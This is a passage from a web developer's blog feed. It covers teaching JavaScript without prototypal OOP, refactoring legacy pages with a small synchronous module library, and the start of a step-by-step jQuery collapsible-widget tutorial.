&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var p = new Person(&quot;Fred&quot;);
console.log( Person.prototype.sayHi.call(p, &quot;Barney&quot;) );
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Because of the way the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;-parameter is implemented, it’s not really attached to the object, its just the language taking guesses at what you want it to be. Since any method invocation in this style can be reduced to a regular function call that part isn’t meaningfully different from just writing a regular &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sayHi&lt;/code&gt; function in the same scope as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;function sayHi(from, toName) {
  return from.name + &quot; says hi to &quot; + toName;
}
console.log( sayHi(p, &quot;Barney&quot;) );
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The above observation reduces away anything in this example that prototypal inheritance contributes to a global function call.&lt;/p&gt;

&lt;p&gt;The only thing OOP-ish that remains is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person&lt;/code&gt; constructor and the structured objects that this creates. But how is that fundamentally different from just doing the much simpler&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;function getPerson(name) {
  return {
     name: name
  }
}
var p = getPerson(&quot;Fred&quot;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;it’s not! Substitute this into the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Person.prototype.sayHi.call&lt;/code&gt; or into my &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sayHi&lt;/code&gt; function and you get the same results.&lt;/p&gt;

&lt;p&gt;Simple function calls, and json object construction are something any beginner will learn anyways. So given that prototypal method calls can be reduced to the former and constructors to the later, and given that these are easily the two hardest concepts in javascript, why on earth confuse already overwhelmed students with these?&lt;/p&gt;

&lt;p&gt;But wait you say, how do you share properties between objects then? How do you make dogs that have the properties of animals? The answer is to use the concepts people already know. Properties can be easily copied between js objects. Every library out there has an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;extend&lt;/code&gt; method. I show how to implement one while talking about how objects are extensible.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var dog = _.extend ({}, animalPropserties, {sound: &quot;Bark&quot;});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This is so much simpler than trying to explain how proptotype inheritance links things up. In fact, very few people really understand what exactly the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; keyword does - I’ve interviewed maybe 70 senior developers in the last 20 months, maybe 2 of them had the full picture.&lt;/p&gt;

&lt;p&gt;Now that’s not to say that there aren’t &lt;em&gt;some&lt;/em&gt; truly OO features in javascript. I believe both overriding methods via intermediate prototypes and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;typeof&lt;/code&gt; checks on constructed functions would qualify, but neither one of these is used regularly in day to day coding. They’re important to know if you want to read through jquery source or write optimized algorithms, but otherwise you can push them off to the back end of the curriculum.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;So there’s my thoughts on day-to-day oojs. &lt;a href=&quot;http://wiki.ecmascript.org/doku.php?id=harmony:classes&quot;&gt;Of course with the new javascript &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;class&lt;/code&gt; keyword all of this might be moot&lt;/a&gt;&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Use Simple Modules To Fix Up Your Ugly Brownfield App 1</title>
      <link>http://georgemauer.net/2014/10/31/use-simple-modules-1.html</link>
      <pubDate>Fri, 31 Oct 2014 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2014/10/31/use-simple-modules-1.html</guid>
      <description>&lt;p&gt;At &lt;a href=&quot;http://surgeforward.com/&quot;&gt;Surge Consulting&lt;/a&gt; we have a mentoring program that I’m pretty proud of. In the course of this I get to review a lot of code and it’s not always…shall we say…good. With me prostelitizing javascript modules all the time, I frequently get asked for help adding RequireJs to existing codebases.&lt;/p&gt;

&lt;p&gt;This is not always easy.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;CommonJs-based systems like Browserify fail because they require you to bundle your packages and run a build process. And if you’re in a place where you can do this then you &lt;strong&gt;absolutely should use Browserify&lt;/strong&gt;, but the projects I’m targetting are typically not there.&lt;/li&gt;
  &lt;li&gt;RequireJs/AMD-based systems are great. In my opionion that’s what modules on the web should be like. But for the projects we’re dealing with here that expect globals all over the place, the asychrony is a killer. Its possible to refactor but I find that I cannot teach people to catch this fish for themselves. It is hard, and it requires a sort of javascript experience and fluency that anyone asking me for help likely has yet to achieve.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The thing is - none of the existing solutions really work. &lt;a href=&quot;https://github.com/togakangaroo/simple-modules&quot;&gt;So I wrote my own module system&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;goals-of-simple-modules&quot;&gt;Goals of Simple Modules&lt;/h2&gt;

&lt;p&gt;Here were my goals in writing this micro-library&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;It should look as much like existing module systems as possible. The idea is that once a project has moved to this, it’s much easier to move off to a more fully featured module system.&lt;/li&gt;
  &lt;li&gt;It should be as small as possible. It should be possible to drop the entire thing in an inline script tag in the page head without any real degredation of preformance. An added benefit is that even beginners can and should be able to read the code and understand it fully.&lt;/li&gt;
  &lt;li&gt;It should be synchronous. This means it won’t do module loading, users will have to handle that themselves&lt;/li&gt;
  &lt;li&gt;It should not require any serverside processing. I want this to be as useful from php as it is from c#, and since most the projects I’m targeting have no (custom) build step, I don’t want to impose one.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;At time of writing I’ve helped introduce this into three projects, all three were started without modules, have globals all over the place, and are suffering from severe tech debt. In all three I was able to get their developer up and running with simple-modules and to understand how to gradually refactor their system going forward.&lt;/p&gt;

&lt;p&gt;At this point, I’m willing to call the success repeatable.&lt;/p&gt;

&lt;h2 id=&quot;refactoring-to-simple-modules&quot;&gt;Refactoring to Simple Modules&lt;/h2&gt;

&lt;p&gt;Refactoring to Simple Modules is a matter of iterations of the following process.&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Identify a chunk of code that could be identified as a module (whether it is in its own file or not). Ideally this is code that sets up a function or variable that is used by other code&lt;/li&gt;
  &lt;li&gt;Surround it with a define statement. From inside the define statement either return the variable that is set up or a function that will do something.&lt;/li&gt;
  &lt;li&gt;Immediately after the define statement require the module and re-assign it to the variable it was creating before. This will keep any existing code from breaking.&lt;/li&gt;
  &lt;li&gt;Identify any dependencies of this module. Require them as early in the module as possible.&lt;/li&gt;
  &lt;li&gt;Repeat for anything that is global&lt;/li&gt;
  &lt;li&gt;Eventually remove the global re-declaration&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;require-and-define-keywords&quot;&gt;Require and Define keywords&lt;/h3&gt;

&lt;p&gt;These are the two functions exposed by simple-modules.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;define(moduleName, moduleDefinition)&lt;/code&gt; - Register a module with the given name. The moduleDefinition &lt;em&gt;should be a function that returns the module&lt;/em&gt;. It will run once and only once the first time a module of this name is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;require&lt;/code&gt;d.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var module = require(moduleName)&lt;/code&gt; - Request the module that was registered under that name. Will return whatever was returned from the moduleDefinition function.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;trying-it-out&quot;&gt;Trying It Out&lt;/h3&gt;

&lt;p&gt;To demonstrate this let’s refactor some confusing brownfield code to use simple-modules. &lt;a href=&quot;https://gist.github.com/togakangaroo/a6d527ab1225736e2fc7&quot;&gt;Consider this code to create a chatroom using a madeup &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AwesomeCommunicationsLibrary.&lt;/code&gt;&lt;/a&gt;. It’s a mess of global variables, html, php, and javascript. It uses no modelbinding, no client-side mvc framework, and yet I maintain that the best thing for it, the single thing that would help most, is the introduction of modules.&lt;/p&gt;

&lt;p&gt;First thing first, let’s include SimpleModules. &lt;a href=&quot;https://github.com/togakangaroo/simple-modules/blob/master/simple-modules.js&quot;&gt;Grab the latest SimpleModules code&lt;/a&gt; and put it in a script tag at the top of the pagels &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;head&amp;gt;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Next, the code has some obvious dependencies, let’s define these so that SimpleModules can later require them. This will not remove them from the global namespace, but will at least include them in the simple-modules system so that they can be required.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;lt;script src=&quot;jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;define(&apos;jquery&apos;, function() { return window.jQuery }) &amp;lt;/script&amp;gt;
&amp;lt;script src=&quot;AwesomeCommunicationsLibrary&quot;&amp;gt;&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;define(&apos;AwesomeCommunicationsLibrary&apos;, function(){ return window.AwesomeCommunicationsLibrary }) &amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;we will now be able to require these from simple-modules directly.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var $ = require(&apos;jquery&apos;);
var AwesomeCommunicationsLibrary = require(&apos;AwesomeCommunicationsLibrary&apos;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h3 id=&quot;identifying-modules&quot;&gt;Identifying Modules&lt;/h3&gt;

&lt;p&gt;Looking at the code, a few things jump to mind as immediate possiblities for modules. The functions in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;helperfuncs.js&lt;/code&gt; file are simple, contain few dependencies, and are used in multiple places throughout.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;function showDialog(text) {
	return $(&apos;&amp;lt;div&amp;gt;&apos;).text(text).dialog();
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;this creates a global &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;showDialog&lt;/code&gt; function with an implicit dependency on jquery. Ick. Let’s start small and register it with SimpleModules&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;define(&apos;showDialog&apos;, function(){
	var $ = require(&apos;jquery&apos;);
	
	return function showDialog(text) {
	   	return $(&apos;&amp;lt;div&amp;gt;&apos;).text(text).dialog();
	}
});
window.showDialog = require(&apos;showDialog&apos;); //TODO - Remove this
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Note that last line. In many projects we will not know right away everywhere that uses the global &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;showDialog&lt;/code&gt; functions. Thefore we’ll re-expose it globally so that existing code will not break. We will use&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;var showDialog = require(&apos;showDialog&apos;);
showDialog(&quot;Do that thing that you do.&quot;)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When we are more confident with the codebase, or when we have time for a full regression test, we will remove that line and make sure all existing code uses the SimpleModules version. There will no longer be&lt;/p&gt;

&lt;h3 id=&quot;defining-modules&quot;&gt;Defining Modules&lt;/h3&gt;

&lt;p&gt;Well that was easy.&lt;/p&gt;

&lt;p&gt;But &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;showDialogs&lt;/code&gt; is an independent, stateless, function. Short of the jquery reference it was basically a module already. Let’s do something harder. It would be nice to isolate the code that initializes the communications library and configures the username.&lt;/p&gt;

&lt;p&gt;We could move it out into its own file even. Let’s do that. We create a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chatpage.refactored.js&lt;/code&gt; file and include it with a regular &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;script&amp;gt;&lt;/code&gt; tag. From inside the file we then declare a module. From there we can require our communications-library and jquery, and do the initialization.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;define(&apos;initializeCommunications&apos;, function(){
	var AwesomeCommunicationsLibrary = require(&apos;AwesomeCommunicationsLibrary&apos;);
	var $ = require(&apos;jquery&apos;);
	var $username = $(&apos;#my_username&apos;);

	var communicationsLib = new AwesomeCommunicationsLibrary(apiKey);
	communicationsLib.setUsername( $username.val() );
 
	//Change the username used by communicationsLib if the username input changes
	$username.on(&apos;blur&apos;, function(){
		communicationsLib.setUsername( $username.val() );
	});	
	return communicationsLib;
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;But this still isn’t great. The library will initialize upon load - the invoker doesn’t get to choose when it initializes. In addition it still relies on the global &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apiKey&lt;/code&gt; variable.&lt;/p&gt;

&lt;h4 id=&quot;embedded-server-values&quot;&gt;Embedded Server Values&lt;/h4&gt;

&lt;p&gt;This poses an interesting problem. In order to initialize the library we need the api key, and the api key comes from a server variable and you typically can’t generate server variables into javascript.&lt;/p&gt;

&lt;p&gt;So what then? Well, we can pass the api key in two ways. We can reginster it as a module in a one-line script in the html&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;define(&apos;awesome-library-apiKey&apos;, function() { return &apos;&amp;lt;?php echo(comm_library_api_key); ?&amp;gt;&apos; });
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;or we can put the initialization in a function and pass it as a parameter. Since we want to give invoking code the ability to control &lt;em&gt;when&lt;/em&gt; communications are initialized the latter option might be best.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;define(&apos;initializeCommunications&apos;, function(){
	var AwesomeCommunicationsLibrary = require(&apos;AwesomeCommunicationsLibrary&apos;);
	var $ = require(&apos;jquery&apos;);
	var $username = $(&apos;#my_username&apos;);

	return function initializeCommunications(apiKey) {
		var communicationsLib = new AwesomeCommunicationsLibrary(apiKey);
		communicationsLib.setUsername( $username.val() );
	 
		//Change the username used by communicationsLib if the username input changes
		$username.on(&apos;blur&apos;, function(){
			communicationsLib.setUsername( $username.val() );
		});	
		return communicationsLib;
	}
});
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;and in the html:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; var initializeCommunications = require(&apos;initializeCommunications&apos;);
 var communicationsLib = initializeCommunications(&apos;&amp;lt;?php echo(comm_library_api_key); ?&amp;gt;&apos;);
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As things are refactored, bit by bit, the application will become better structured and modularized.&lt;/p&gt;

&lt;p&gt;Stay tuned to &lt;em&gt;“Use Simple Modules To Fix Up Your Ugly Brownfield App (Part 2)”&lt;/em&gt; for a discussion of how to deal with asynchrony and more refactoring techniques.&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Talk Roundup - Be the Javascriptiest</title>
      <link>http://georgemauer.net/2014/08/02/be-the-javascriptiest.html</link>
      <pubDate>Sat, 02 Aug 2014 00:00:00 +0000</pubDate>
      <author>George Mauer</author>
      <guid>http://georgemauer.net/2014/08/02/be-the-javascriptiest.html</guid>
      <description>&lt;h2 id=&quot;be-the-javascriptiest&quot;&gt;Be the Javascriptiest&lt;/h2&gt;

&lt;p&gt;While there is some general philosophizing here, this is largely a step-by-step for building your own jquery collapsing widget. It is a writeup of my talk at &lt;a href=&quot;http://sqlsaturday.com/324/eventhome.aspx&quot;&gt;Sql Saturday #324 - Baton Rouge&lt;/a&gt;. As such, it might seem lengthy and rambling. But the talk was over an hour so there you have it.&lt;/p&gt;

&lt;p&gt;You might be able to tell from the title, this talk did not start out completely seriously. For the last three or four years I have talked at this event, each time trying to braindump my understanding of javascript, or underscore, or knockout, or jquery; trying to convince rooms full of people that 90% of the useful stuff in each you can learn in an hour. While I still fully believe this, this time I wanted to do something different. I decided to live-code and demonstrate how the 90%-simple-and-useful-parts of javascript that I love can be composted into something both clean and powerful.&lt;/p&gt;

&lt;p&gt;But first, any time you want to talk javascript it’s good to understand it’s history. &lt;a href=&quot;https://www.w3.org/community/webed/wiki/A_Short_History_of_JavaScript&quot;&gt;Here’s a series&lt;/a&gt; of actually &lt;a href=&quot;http://dailyjs.com/history-of-javascript.html&quot;&gt;factual articles&lt;/a&gt;. However, the general gist is this: &lt;em&gt;Brendan Eich was given ten days by Netscape to invent a browser language. He based it on Scheme and Self. Marketing decided that it should look like Java, so it got some angle brackets. Then for a long time nobody bothered to update it.&lt;/em&gt; It’s important to keep this abbreviated history in mind as some parts of Javascript only make sense in this context.&lt;/p&gt;

&lt;p&gt;Oh, and another note, if you have not read this book.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;http://ecx.images-amazon.com/images/I/518QVtPWA7L._BO2,204,203,200_PIsitb-sticker-arrow-click,TopRight,35,-76_AA300_SH20_OU01_.jpg&quot; alt=&quot;Javascript the Good Parts&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Do. It’s an easy read and covers most of the things you need to know. &lt;a href=&quot;http://it-ebooks.info/book/274/&quot;&gt;Hey, here it is for free.&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So then, why this presentation at all? Well, despite the title. Javascript the Good Parts is mostly about the bad parts of Javascript. It’s about all the stuff that was cludged into it by marketing, or all the mistakes that were made as a result of the insanely hurried timeframe, or all the things that have just staled over the last fifteen years of non-evolution.&lt;/p&gt;

&lt;p&gt;But there are good parts. In my opinion here they are:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Use functions for everything&lt;/li&gt;
  &lt;li&gt;Boolean Type Coercion&lt;/li&gt;
  &lt;li&gt;JSON Notation&lt;/li&gt;
  &lt;li&gt;Objects as hashes&lt;/li&gt;
  &lt;li&gt;Hoisting&lt;/li&gt;
  &lt;li&gt;Dynamic function signatures&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;No slides, let’s see these in action. We’re going to make a reusable collapser widget. This is what we’re going for&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/zatey/5/embed?output&quot;&gt;Final desired output&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Click around. Nice, huh?&lt;/p&gt;

&lt;p&gt;For simplicity’s sake we’re going to assume jquery. We’re also going to start with the html and css already written because I’ll assume you can get that knowledge elsewhere (and leave a comment if you would like another article on this). I will also purposefully avoid making this a jquery plugin - although that would be natural here, there are several things I would like to do that are easier demo’ed by a plain and simple function.&lt;/p&gt;

&lt;h2 id=&quot;desired-api&quot;&gt;Desired API&lt;/h2&gt;

&lt;p&gt;So first, let’s consider how we need this thing to work. We need a function. That will take an element. And make it collapsible. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsible&lt;/code&gt; sounds like a good function name for this, yeah?&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
//Pass in jQuery
makeCollapsible( $(&apos;.should-collapse&apos;).first() );
//Pass in a DOM element
makeCollapsible( document.querySelector(&apos;.should-collapse&apos;) );
//Pass in an options object that overrides defaults
makeCollapsible( &apos;.should-collapse&apos;, { 
  collapsed: true //should the initial state be collapsed?
} );
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Good? Great.&lt;/p&gt;

&lt;p&gt;Ok, let’s get coding. So to start with, since &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsible&lt;/code&gt; will be reusable, we want it in its own module.&lt;/p&gt;

&lt;p&gt;If you have a module system such as requirejs or browserify in place, by all means use it here, if not then you should still try to emulate it &lt;a href=&quot;http://en.wikipedia.org/wiki/Immediately-invoked_function_expression&quot;&gt;with an IIFE&lt;/a&gt;. Let’s create a stub function inside of an IIFE, export it to the global scope, select some elements, and invoke it on each.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
(function(){

  function makeCollapsible(el) {
    
  }
  
  window.makeCollapsible = makeCollapsible;
})()

////////////////////////////////////////////

$(function(){
  
  $(&apos;.should-collapse&apos;).toArray()
  		.map(function(el){ makeCollapsible(el) })
  
})
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;That looks nice, don’t it? Note that I did the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window.makeCollapsible&lt;/code&gt; export at the end of the IIFE. I strongly recommend that if you need to export anything out of one of these you always want to do it at the very end. We’re doing this all in one screen, but in real life you would likely put our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;makeCollapsible&lt;/code&gt; module in its own file.&lt;/p&gt;

&lt;p&gt;Also note that I call &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toArray&lt;/code&gt; on the jquery elements (called a matched set) and use the js array’s built-in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.map&lt;/code&gt;. This is because jquery - which preceeded the builtin map function - screwed up and inverted the parameters into the callback thereby making it harder to work with the 90% use case. Its almost entirely a matter of preference. Also I use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;forEach&lt;/code&gt;. Don’t worry about that. It’s cause I know what’s coming.&lt;/p&gt;

&lt;h2 id=&quot;working-basics&quot;&gt;Working Basics&lt;/h2&gt;

&lt;p&gt;Ok, fun. Now let’s get things actually working. First let’s consider the html we want to achieve. If someone later uses javascript to remove the element entirely from the page we want it to remove cleanly, that means that everything has to be contained by our element. We also want the triangle button to be visible when the element is collapsed - we therefore need it to be outside the area we will actually be collapsing. So what we’re aiming for is something like this&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;html&quot;&gt;
&amp;lt;p class=&amp;quot;should-collapse collapsible&amp;quot;&amp;gt;
    &amp;lt;button class=&amp;quot;collapsible-collapse-handle&amp;quot; type=button&amp;gt;&amp;lt;/button&amp;gt;
    &amp;lt;span class=&amp;quot;collapsible-collapse-area&amp;quot;&amp;gt;
        Text to collapse....
    &amp;lt;/span&amp;gt;
&amp;lt;/p&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;We want to wrap the element contents in a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;span class=collapsible-collapse-area&amp;gt;&lt;/code&gt; and we want to prepend a new &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;button class=collapsible-collapse-handle&amp;gt;&lt;/code&gt;. And that’s it. Our CSS will take care of the rest.&lt;/p&gt;

&lt;p&gt;Creating this is helped tremendously by the existence of the jquery functions &lt;a href=&quot;http://api.jquery.com/wrapinner/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$.fn.wrapInner&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://api.jquery.com/prependTo/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$.fn.prependTo&lt;/code&gt;&lt;/a&gt;, and the jquery api for &lt;a href=&quot;http://api.jquery.com/jquery/#jQuery2&quot;&gt;creating elements&lt;/a&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
function makeCollapsible(el) {
	var $el = $(el);
	$el.addClass(&amp;#039;collapsible&amp;#039;);

	$el.wrapInner( $(&amp;#039;&amp;lt;span&amp;gt;&amp;#039;, {&amp;#039;class&amp;#039;: &amp;#039;collapsible-collapse-area&amp;#039;}) );
	var $collapseHandle = $(&amp;#039;&amp;lt;button&amp;gt;&amp;#039;, {&amp;#039;class&amp;#039;: &amp;#039;collapsible-collapse-handle&amp;#039;});
								.prependTo($el)
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;If you’re not familiar with the above metnods you should read the jQuery docs, but regardless I think the gist is fairly straightforward.&lt;/p&gt;

&lt;p&gt;An additional thing to note is the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var $el = $(el)&lt;/code&gt; rewrapping toward the top. Regarding, the convention of prefixing with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$&lt;/code&gt; - this is my convention for anything I know to be a jquery element. Usually I don’t bother with &lt;a href=&quot;http://en.wikipedia.org/wiki/Hungarian_notation&quot;&gt;hungarian notation&lt;/a&gt; but since you often use more than one jquery function on a single matched set it seems to make sense.&lt;/p&gt;

&lt;p&gt;Next on that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$(el)&lt;/code&gt; re-wrapping. This is &lt;strong&gt;dynamic function signatures&lt;/strong&gt; at work. Did you know that you can pass just about anything into a jQuery function and it will just work? How do they achieve this? Why a large yet cleverly written if statement of course. There’s no function overloading or pattern matching in javascript but who cares? &lt;a href=&quot;https://github.com/jquery/jquery/blob/c869a1ef8a031342e817a2c063179a787ff57239/src/core/init.js#L16&quot;&gt;It’s not all that bad&lt;/a&gt; and beginners to javascript benefit from a lower concept count. Don’t get me wrong, I appreciate pattern matching and the like, its just that it frequently ends up being a nicer syntax for if statements. And there’s a lot of rules and syntax to learn. It’s definitely not a must-have language feature.&lt;/p&gt;

&lt;p&gt;Now back to the problem at hand.&lt;/p&gt;

&lt;p&gt;Perhaps we should make it actually work, yes?&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javascript&quot;&gt;
function toggle(shouldShow) {
  $collapseHandle.next().toggle( !shouldShow );
  $el.toggleClass( &apos;collapsed&apos;, !shouldShow );
}

toggle(true);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;So we first select the content area which we know to be the element that follows our $collapseHandler, and use &lt;a href=&quot;http://api.jquery.com/toggle/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$.fn.toggle&lt;/code&gt;&lt;/a&gt; to hide or show it. And then we &lt;a href=&quot;http://api.jquery.com/toggleClass/&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$.fn.toggleClass&lt;/code&gt;&lt;/a&gt; to mark the element collapsed or not. Go ahead, try this out, change the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toggle(true)&lt;/code&gt; below to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;toggle(false)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a class=&quot;jsbin-embed&quot; href=&quot;http://jsbin.com/weniqu/29/embed?js,output&quot;&gt;Basic functionality&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I think this would have been confusing only three years ago but I feel like the concept of lambdas and closures is by now natural enough that most people aren’t questioning why $collapseHandle and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$el&lt;/code&gt; are available here. One thing that’s nice about javascript functions, is they’re dirt simple. Forget what you know about java or c# scoping, just scan up the levels of indentation - exactly what you would think should be available, is.&lt;/p&gt;

&lt;p&gt;This might seem limiting - without private, protected, and internal modifiers it would seem we’re pretty limited in our attempts at data hiding. As we will see, this is not true and this simple concept can yield largely the same results.&lt;/p&gt;

&lt;p&gt;I took the opportunity for some cleanup. Javascript has an interesting concept called &lt;a href=&quot;http://elegantcode.com/2010/12/24/basic-javascript-part-5-hoisting/&quot;&gt;hoisting&lt;/a&gt;. It can be dangerous but it has some intriguing uses as well. It works something like this - the only thing that limits a variable’s scope in javascript is being inside of a function; not for loops; not declaration order and it is spec’ed as follows:&lt;/p&gt;

&lt;p&gt;When the javascript interpreter encounters a function it makes two passes. It first looks for any variable and function declarations in the immediate body and declares them. This is why can refer to variables in the same function before they are var’ed (even though the value might be undefined);&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;javscript&quot;&gt;
